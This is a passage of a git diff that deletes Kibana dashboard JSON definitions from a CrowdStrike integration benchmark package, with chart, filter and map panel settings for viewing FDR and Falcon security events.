"isTransposed": false - } - ], - "layerId": "c8088761-74a6-433a-a405-f26c709cebe3", - "layerType": "data", - "rowHeight": "single", - "rowHeightLines": 1 - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsDatatable" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 14, - "i": "355965cd-eb00-4357-bdd8-1640627d1191", - "w": 20, - "x": 28, - "y": 0 - }, - "panelIndex": "355965cd-eb00-4357-bdd8-1640627d1191", - "title": "Top Related Files", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-911bafb0-aeb7-4830-8a40-6166c96fb123", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "911bafb0-aeb7-4830-8a40-6166c96fb123": { - "columnOrder": [ - "c2e68d70-fa53-4f1c-a4d5-4c0f23d8e89b", - "3c0eeb61-8b82-44b3-aba7-66c5b08fe8a9", - "2c75b3a9-1b14-42d5-a8d0-44e461d4afab" - ], - "columns": { - "2c75b3a9-1b14-42d5-a8d0-44e461d4afab": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Events", - "operationType": "count", - "scale": "ratio", - "sourceField": "___records___" - }, - "3c0eeb61-8b82-44b3-aba7-66c5b08fe8a9": { - "dataType": "date", - "isBucketed": true, - "label": "@timestamp", - "operationType": "date_histogram", - "params": { - "includeEmptyRows": true, - "interval": "auto" - }, - "scale": "interval", - "sourceField": "@timestamp" - }, - "c2e68d70-fa53-4f1c-a4d5-4c0f23d8e89b": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Event Kind", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "2c75b3a9-1b14-42d5-a8d0-44e461d4afab", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "size": 3 - }, - "scale": "ordinal", - "sourceField": "event.kind" - } - }, - "incompleteColumns": {} - } - } - } - }, - "filters": [], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "accessors": [ - "2c75b3a9-1b14-42d5-a8d0-44e461d4afab" - ], - "layerId": "911bafb0-aeb7-4830-8a40-6166c96fb123", - "layerType": "data", - "position": "top", - "seriesType": "line", - "showGridlines": false, - "splitAccessor": "c2e68d70-fa53-4f1c-a4d5-4c0f23d8e89b", - "xAccessor": "3c0eeb61-8b82-44b3-aba7-66c5b08fe8a9" - } - ], - "legend": { - "isVisible": true, - "legendSize": "auto", - "position": "right" - }, - "preferredSeriesType": "line", - "title": "Empty XY chart", - "valueLabels": "hide", - "yLeftExtent": { - "mode": "full" - }, - "yRightExtent": { - "mode": "full" - } - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsXY" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 19, - "i": "0325f703-a3cc-4a43-b621-974baae08c00", - "w": 20, - "x": 7, - "y": 14 - }, - "panelIndex": "0325f703-a3cc-4a43-b621-974baae08c00", - "title": "Events over time, By Event Kind", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-1928976e-020d-48bd-9887-d9fd1925f69e", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "37d34cfa-17ff-4e3e-a584-1b49cec083a5", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "1928976e-020d-48bd-9887-d9fd1925f69e": { - "columnOrder": [ - "7aaadac8-55b7-4979-9bf1-b02a9673b502", - "5ec733a8-d11d-472d-9328-3c48b41a17ac" - ], - "columns": { - "5ec733a8-d11d-472d-9328-3c48b41a17ac": { - "dataType": "number", - "isBucketed": false, - "label": "Count of records", - "operationType": "count", - "params": {}, - "scale": "ratio", - "sourceField": "___records___" - }, - "7aaadac8-55b7-4979-9bf1-b02a9673b502": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Top events", - "operationType": "terms", - "params": { - "missingBucket": false, - "orderBy": { - "columnId": "5ec733a8-d11d-472d-9328-3c48b41a17ac", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": false, - "size": 10 - }, - "scale": "ordinal", - "sourceField": "event.action" - } - }, - "incompleteColumns": {} - } - } - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "index": "37d34cfa-17ff-4e3e-a584-1b49cec083a5", - "key": "event.kind", - "negate": true, - "params": { - "query": "alert" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "event.kind": "alert" - } - } - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "categoryDisplay": "default", - "layerId": "1928976e-020d-48bd-9887-d9fd1925f69e", - "layerType": "data", - "legendDisplay": "default", - "metrics": [ - "5ec733a8-d11d-472d-9328-3c48b41a17ac" - ], - "nestedLegend": false, - "numberDisplay": "percent", - "primaryGroups": [ - "7aaadac8-55b7-4979-9bf1-b02a9673b502" - ] - } - ], - "shape": "donut" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsPie" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 19, - "i": "7564f2a4-7167-4d71-8ce2-ece32f217487", - "w": 10, - "x": 27, - "y": 14 - }, - "panelIndex": "7564f2a4-7167-4d71-8ce2-ece32f217487", - "title": "Top Event Types", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-35e353f8-fd89-43a0-ad8c-c5d202f098d2", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "4c5d87a9-3846-4fea-8db2-3ee8315e919e", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "35e353f8-fd89-43a0-ad8c-c5d202f098d2": { - "columnOrder": [ - "b00df131-3742-4fa3-8645-032847f0266b", - "b89debc2-4203-43c7-ba15-6612030f67bd" - ], - "columns": { - "b00df131-3742-4fa3-8645-032847f0266b": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Top alerts", - "operationType": "terms", - "params": { - "missingBucket": false, - "orderBy": { - "columnId": "b89debc2-4203-43c7-ba15-6612030f67bd", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "size": 10 - }, - "scale": "ordinal", - "sourceField": "event.action" - }, - "b89debc2-4203-43c7-ba15-6612030f67bd": { - "dataType": "number", - "isBucketed": false, - "label": "Count of records", - "operationType": "count", - "scale": "ratio", - "sourceField": "___records___" - } - }, - "incompleteColumns": {} - } - } - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "index": "4c5d87a9-3846-4fea-8db2-3ee8315e919e", - "key": "event.kind", - "negate": false, - "params": { - "query": "alert" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "event.kind": "alert" - } - } - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "data_stream.dataset : \"crowdstrike.fdr\"" - }, - "visualization": { - "layers": [ - { - "categoryDisplay": "default", - "layerId": "35e353f8-fd89-43a0-ad8c-c5d202f098d2", - "layerType": "data", - "legendDisplay": "default", - "metrics": [ - "b89debc2-4203-43c7-ba15-6612030f67bd" - ], - "nestedLegend": false, - "numberDisplay": "percent", - "primaryGroups": [ - "b00df131-3742-4fa3-8645-032847f0266b" - ] - } - ], - "shape": "donut" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsPie" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 19, - "i": "32c13eb0-f12d-44d8-8ec4-ea778840fabf", - "w": 11, - "x": 37, - "y": 14 - }, - "panelIndex": "32c13eb0-f12d-44d8-8ec4-ea778840fabf", - "title": "Top Alert Types", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "description": "", - "layerListJSON": [ - { - "alpha": 1, - "id": "0307e118-9fac-4923-ad6e-b588a8bd939f", - "includeInFitToBounds": true, - "label": null, - "maxZoom": 24, - "minZoom": 0, - "sourceDescriptor": { - "isAutoSelect": true, - "lightModeDefault": "road_map", - "type": "EMS_TMS" - }, - "style": { - "type": "TILE" - }, - "type": "EMS_VECTOR_TILE", - "visible": true - }, - { - "alpha": 0.75, - "id": "6b7c69d1-9248-4af3-b437-0abcef344b67", - "includeInFitToBounds": true, - "joins": [], - "label": "Agent locations", - "maxZoom": 24, - "minZoom": 0, - "sourceDescriptor": { - "applyGlobalQuery": true, - "applyGlobalTime": true, - "filterByMapBounds": true, - "geoField": "observer.geo.location", - "id": "4c8af7e5-4ec6-43de-84ea-8df092cea5f8", - "indexPatternRefName": "layer_1_source_index_pattern", - "scalingType": "CLUSTERS", - "sortField": "", - "sortOrder": "desc", - "tooltipProperties": [], - "topHitsSize": 1, - "topHitsSplitField": "", - "type": "ES_SEARCH" - }, - "style": { - "isTimeAware": true, - "properties": { - "fillColor": { - "options": { - "color": "#54B399" - }, - "type": "STATIC" - }, - "icon": { - "options": { - "value": "marker" - }, - "type": "STATIC" - }, - "iconOrientation": { - "options": { - "orientation": 0 - }, - "type": "STATIC" - }, - "iconSize": { - "options": { - "size": 6 - }, - "type": "STATIC" - }, - "labelBorderColor": { - "options": { - "color": "#FFFFFF" - }, - "type": "STATIC" - }, - "labelBorderSize": { - "options": { - "size": "SMALL" - } - }, - "labelColor": { - "options": { - "color": "#000000" - }, - "type": "STATIC" - }, - "labelSize": { - "options": { - "size": 14 - }, - "type": "STATIC" - }, - "labelText": { - "options": { - "value": "" - }, - "type": "STATIC" - }, - "lineColor": { - "options": { - "color": "#41937c" - }, - "type": "STATIC" - }, - "lineWidth": { - "options": { - "size": 1 - }, - "type": "STATIC" - }, - "symbolizeAs": { - "options": { - "value": "circle" - } - } - }, - "type": "VECTOR" - }, - "type": "BLENDED_VECTOR", - "visible": true - }, - { - "alpha": 0.75, - "id": "1b3c966b-6756-41dc-8875-a936e36dd0c2", - "includeInFitToBounds": true, - "joins": [], - "label": "Connections", - "maxZoom": 24, - "minZoom": 0, - "sourceDescriptor": { - "applyGlobalQuery": true, - "applyGlobalTime": true, - "destGeoField": "destination.geo.location", - "id": "0314931e-5e8d-4609-be8a-b478a6afed11", - "indexPatternRefName": "layer_2_source_index_pattern", - "metrics": [ - { - "type": "count" - } - ], - "sourceGeoField": "source.geo.location", - "type": "ES_PEW_PEW" - }, - "style": { - "isTimeAware": true, - "properties": { - "fillColor": { - "options": { - "color": "#54B399" - }, - "type": "STATIC" - }, - "icon": { - "options": { - "value": "marker" - }, - "type": "STATIC" - }, - "iconOrientation": { - "options": { - "orientation": 0 - }, - "type": "STATIC" - }, - "iconSize": { - "options": { - "size": 6 - }, - "type": "STATIC" - }, - "labelBorderColor": { - "options": { - "color": "#FFFFFF" - }, - "type": "STATIC" - }, - "labelBorderSize": { - "options": { - "size": "SMALL" - } - }, - "labelColor": { - "options": { - "color": "#000000" - }, - "type": "STATIC" - }, - "labelSize": { - "options": { - "size": 14 - }, - "type": "STATIC" - }, - "labelText": { - "options": { - "value": "" - }, - "type": "STATIC" - }, - "lineColor": { - "options": { - "color": "#494193" - }, - "type": "STATIC" - }, - "lineWidth": { - "options": { - "field": { - "name": "doc_count", - "origin": "source" - }, - "fieldMetaOptions": { - "isEnabled": true, - "sigma": 3 - }, - "maxSize": 10, - "minSize": 1 - }, - "type": "DYNAMIC" - }, - "symbolizeAs": { - "options": { - "value": "circle" - } - } - }, - "type": "VECTOR" - }, - "type": "GEOJSON_VECTOR", - "visible": true - } - ], - "mapStateJSON": { - "center": { - "lat": 19.94277, - "lon": 0 - }, - "filters": [], - "query": { - "language": "kuery", - "query": "" - }, - "refreshConfig": { - "interval": 0, - "isPaused": true - }, - "settings": { - "autoFitToDataBounds": false, - "backgroundColor": "#ffffff", - "browserLocation": { - "zoom": 2 - }, - "disableInteractive": false, - "disableTooltipControl": false, - "fixedLocation": { - "lat": 0, - "lon": 0, - "zoom": 2 - }, - "hideLayerControl": false, - "hideToolbarOverlay": false, - "hideViewControl": false, - "initialLocation": "LAST_SAVED_LOCATION", - "maxZoom": 24, - "minZoom": 0, - "showScaleControl": false, - "showSpatialFilters": true, - "showTimesliderToggleButton": true, - "spatialFiltersAlpa": 0.3, - "spatialFiltersFillColor": "#DA8B45", - "spatialFiltersLineColor": "#DA8B45" - }, - "timeFilters": { - "from": "now-15M", - "to": "now" - }, - "zoom": 1.78 - }, - "title": "", - "uiStateJSON": { - "isLayerTOCOpen": true, - "openTOCDetails": [] - } - }, - "enhancements": { - "dynamicActions": { - "events": [] - } - }, - "hiddenLayers": [], - "hidePanelTitles": false, - "isLayerTOCOpen": true, - "mapBuffer": { - "maxLat": 85.05113, - "maxLon": 360, - "minLat": -85.05113, - "minLon": -360 - }, - "mapCenter": { - "lat": 24.98, - "lon": 12.29359, - "zoom": 0.73 - }, - "openTOCDetails": [] - }, - "gridData": { - "h": 24, - "i": "26961648-cc31-4ed6-a378-698523307b21", - "w": 41, - "x": 7, - "y": 33 - }, - "panelIndex": "26961648-cc31-4ed6-a378-698523307b21", - "title": "Agents and connections", - "type": "map" - } - ], - "timeRestore": false, - "title": "[Crowdstrike] FDR Overview", - "version": 2 - }, - "coreMigrationVersion": "8.8.0", - "created_at": "2025-03-01T12:27:17.619Z", - "id": "crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f", - "managed": false, - "references": [ - { - "id": "logs-*", - "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "e48dfc31-ef5f-4696-904c-c5320e8dcac9:indexpattern-datasource-current-indexpattern", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "e48dfc31-ef5f-4696-904c-c5320e8dcac9:indexpattern-datasource-layer-880420b9-97fb-4f5a-8dd2-36f95cb02182", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "355965cd-eb00-4357-bdd8-1640627d1191:indexpattern-datasource-layer-c8088761-74a6-433a-a405-f26c709cebe3", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "0325f703-a3cc-4a43-b621-974baae08c00:indexpattern-datasource-layer-911bafb0-aeb7-4830-8a40-6166c96fb123", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "7564f2a4-7167-4d71-8ce2-ece32f217487:indexpattern-datasource-layer-1928976e-020d-48bd-9887-d9fd1925f69e", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "7564f2a4-7167-4d71-8ce2-ece32f217487:37d34cfa-17ff-4e3e-a584-1b49cec083a5", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "32c13eb0-f12d-44d8-8ec4-ea778840fabf:indexpattern-datasource-layer-35e353f8-fd89-43a0-ad8c-c5d202f098d2", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "32c13eb0-f12d-44d8-8ec4-ea778840fabf:4c5d87a9-3846-4fea-8db2-3ee8315e919e", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "26961648-cc31-4ed6-a378-698523307b21:layer_1_source_index_pattern", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "26961648-cc31-4ed6-a378-698523307b21:layer_2_source_index_pattern", - "type": "index-pattern" - } - ], - "type": "dashboard", - "typeMigrationVersion": "10.2.0", - "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0" -} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750.json deleted file mode 100644 index 2ff4281d25..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750.json +++ /dev/null @@ -1,1208 +0,0 @@ -{ - "attributes": { - "controlGroupInput": { - "chainingSystem": "HIERARCHICAL", - "controlStyle": "oneLine", - "ignoreParentSettingsJSON": { - "ignoreFilters": false, - "ignoreQuery": false, - "ignoreTimerange": false, - "ignoreValidations": false - }, - "panelsJSON": { - "2f027408-9e82-4fbe-8c59-f32e933b50f0": { - "explicitInput": { - "dataViewId": "logs-*", - "fieldName": "host.name", - "id": "2f027408-9e82-4fbe-8c59-f32e933b50f0", - "searchTechnique": "prefix", - "selectedOptions": [], - "sort": { - "by": "_count", - "direction": "desc" - }, - "title": "Hostname" - }, - "grow": true, - "order": 0, - "type": "optionsListControl", - "width": "small" - }, - "3dc73766-aa88-46ff-a02d-b0e600136550": { - "explicitInput": { - "dataViewId": "logs-*", - "fieldName": "event.action", - "id": "3dc73766-aa88-46ff-a02d-b0e600136550", - "searchTechnique": "prefix", - "selectedOptions": [], - "sort": { - "by": "_count", - "direction": "desc" - }, - "title": "Event Type" - }, - "grow": true, - "order": 1, - "type": "optionsListControl", - "width": "small" - }, - "bd86c535-6911-441c-a29d-8a48759b461f": { - "explicitInput": { - "dataViewId": "logs-*", - "fieldName": "threat.technique.name", - "id": "bd86c535-6911-441c-a29d-8a48759b461f", - "searchTechnique": "prefix", - "selectedOptions": [], - "sort": { - "by": "_count", - "direction": "desc" - }, - "title": "MITRE Technique Name" - }, - "grow": false, - "order": 4, - "type": "optionsListControl", - "width": "medium" - }, - "c94c3167-3962-4186-b809-1f2506632789": { - "explicitInput": { - "dataViewId": "logs-*", - "fieldName": "crowdstrike.event.SeverityName", - "id": "c94c3167-3962-4186-b809-1f2506632789", - "searchTechnique": "prefix", - "selectedOptions": [], - "sort": { - "by": "_count", - "direction": "desc" - }, - "title": "Severity" - }, - "grow": true, - "order": 2, - "type": "optionsListControl", - "width": "small" - }, - "fa9232f2-d8fd-4087-989d-c4be652027bb": { - "explicitInput": { - "dataViewId": "logs-*", - "fieldName": "threat.tactic.name", - "id": "fa9232f2-d8fd-4087-989d-c4be652027bb", - "searchTechnique": "prefix", - "selectedOptions": [], - "sort": { - "by": "_count", - "direction": "desc" - }, - "title": "MITRE Tactic Name" - }, - "grow": true, - "order": 3, - "type": "optionsListControl", - "width": "small" - } - }, - "showApplySelections": false - }, - "description": "", - "kibanaSavedObjectMeta": { - "searchSourceJSON": { - "filter": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.falcon" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.falcon" - } - } - } - ], - "query": { - "language": "kuery", - "query": "" - } - } - }, - "optionsJSON": { - "hidePanelTitles": false, - "syncColors": false, - "syncCursor": true, - "syncTooltips": false, - "useMargins": true - }, - "panelsJSON": [ - { - "embeddableConfig": { - "enhancements": { - "dynamicActions": { - "events": [] - } - }, - "hidePanelTitles": false, - "savedVis": { - "data": { - "aggs": [], - "searchSource": { - "filter": [], - "query": { - "language": "kuery", - "query": "" - } - } - }, - "description": "", - "id": "", - "params": { - "fontSize": 12, - "markdown": "## **Crowdstrike**\n\n### Navigation\n\n[Overview](/app/dashboards#/view/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750) \n\n[FDR](/app/dashboards#/view/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f) \n\n**Falcon** \n\n[Alert](/app/dashboards#/view/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c)\n\n[Host](/app/dashboards#/view/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c)\n\n[Vulnerability](/app/dashboards#/view/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5)\n\n### Overview\n\nThis dashboards shows statistics about the different Incidents and events collected from Crowdstrike Falcon.\n\n", - "openLinksInNewTab": false - }, - "title": "", - "type": "markdown", - "uiState": {} - } - }, - "gridData": { - "h": 69, - "i": "90059f1b-88f7-4e04-b755-081233d12559", - "w": 7, - "x": 0, - "y": 0 - }, - "panelIndex": "90059f1b-88f7-4e04-b755-081233d12559", - "title": "Table of Contents", - "type": "visualization" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "af740c82-0b38-407b-bd61-d2d63b77b76e", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "cded08fb-72d8-4fff-bd9b-ca53189f9363": { - "columnOrder": [ - "2c916dee-9123-4c38-837b-848078cac0a5", - "d11e6000-056a-4e47-add0-b0942e7bba2c" - ], - "columns": { - "2c916dee-9123-4c38-837b-848078cac0a5": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "ECS Category Types", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "secondaryFields": [], - "size": 10 - }, - "scale": "ordinal", - "sourceField": "event.category" - }, - "d11e6000-056a-4e47-add0-b0942e7bba2c": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": true - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "textBased": { - "layers": {} - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "index": "af740c82-0b38-407b-bd61-d2d63b77b76e", - "negate": false, - "params": [ - { - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "index": "logs-*", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.falcon" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.falcon" - } - } - }, - { - "meta": { - "alias": null, - "disabled": false, - "field": "crowdstrike.event.Category", - "index": "logs-*", - "key": "crowdstrike.event.Category", - "negate": false, - "params": { - "query": "Incidents" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "crowdstrike.event.Category": "Incidents" - } - } - } - ], - "relation": "AND", - "type": "combined" - }, - "query": {} - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "categoryDisplay": "default", - "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", - "layerType": "data", - "legendDisplay": "default", - "metrics": [ - "d11e6000-056a-4e47-add0-b0942e7bba2c" - ], - "nestedLegend": false, - "numberDisplay": "percent", - "primaryGroups": [ - "2c916dee-9123-4c38-837b-848078cac0a5" - ] - } - ], - "shape": "donut" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsPie" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 17, - "i": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80", - "w": 10, - "x": 7, - "y": 0 - }, - "panelIndex": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80", - "title": "Incidents by ECS Category", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "cded08fb-72d8-4fff-bd9b-ca53189f9363": { - "columnOrder": [ - "2c916dee-9123-4c38-837b-848078cac0a5", - "d11e6000-056a-4e47-add0-b0942e7bba2c" - ], - "columns": { - "2c916dee-9123-4c38-837b-848078cac0a5": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Severity", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "secondaryFields": [], - "size": 10 - }, - "scale": "ordinal", - "sourceField": "crowdstrike.event.SeverityName" - }, - "d11e6000-056a-4e47-add0-b0942e7bba2c": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": true - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "textBased": { - "layers": {} - } - }, - "filters": [], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "categoryDisplay": "default", - "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", - "layerType": "data", - "legendDisplay": "default", - "metrics": [ - "d11e6000-056a-4e47-add0-b0942e7bba2c" - ], - "nestedLegend": false, - "numberDisplay": "percent", - "primaryGroups": [ - "2c916dee-9123-4c38-837b-848078cac0a5" - ] - } - ], - "shape": "donut" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsPie" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 17, - "i": "3b8281fe-18b6-4215-ac47-2fa94d17fe18", - "w": 10, - "x": 17, - "y": 0 - }, - "panelIndex": "3b8281fe-18b6-4215-ac47-2fa94d17fe18", - "title": "Events by Severity", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "cded08fb-72d8-4fff-bd9b-ca53189f9363": { - "columnOrder": [ - "2c916dee-9123-4c38-837b-848078cac0a5", - "d11e6000-056a-4e47-add0-b0942e7bba2c" - ], - "columns": { - "2c916dee-9123-4c38-837b-848078cac0a5": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Technique", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "secondaryFields": [], - "size": 10 - }, - "scale": "ordinal", - "sourceField": "threat.technique.name" - }, - "d11e6000-056a-4e47-add0-b0942e7bba2c": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": true - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "textBased": { - "layers": {} - } - }, - "filters": [], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "categoryDisplay": "default", - "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", - "layerType": "data", - "legendDisplay": "default", - "metrics": [ - "d11e6000-056a-4e47-add0-b0942e7bba2c" - ], - "nestedLegend": false, - "numberDisplay": "percent", - "primaryGroups": [ - "2c916dee-9123-4c38-837b-848078cac0a5" - ] - } - ], - "shape": "donut" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsPie" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 17, - "i": "3a6b30d6-f464-493e-8f38-1f9282906372", - "w": 10, - "x": 27, - "y": 0 - }, - "panelIndex": "3a6b30d6-f464-493e-8f38-1f9282906372", - "title": "Events by Technique Name", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "cded08fb-72d8-4fff-bd9b-ca53189f9363": { - "columnOrder": [ - "2c916dee-9123-4c38-837b-848078cac0a5", - "d11e6000-056a-4e47-add0-b0942e7bba2c" - ], - "columns": { - "2c916dee-9123-4c38-837b-848078cac0a5": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Tactic", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "secondaryFields": [], - "size": 10 - }, - "scale": "ordinal", - "sourceField": "threat.tactic.name" - }, - "d11e6000-056a-4e47-add0-b0942e7bba2c": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": true - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "textBased": { - "layers": {} - } - }, - "filters": [], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "categoryDisplay": "default", - "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", - "layerType": "data", - "legendDisplay": "default", - "metrics": [ - 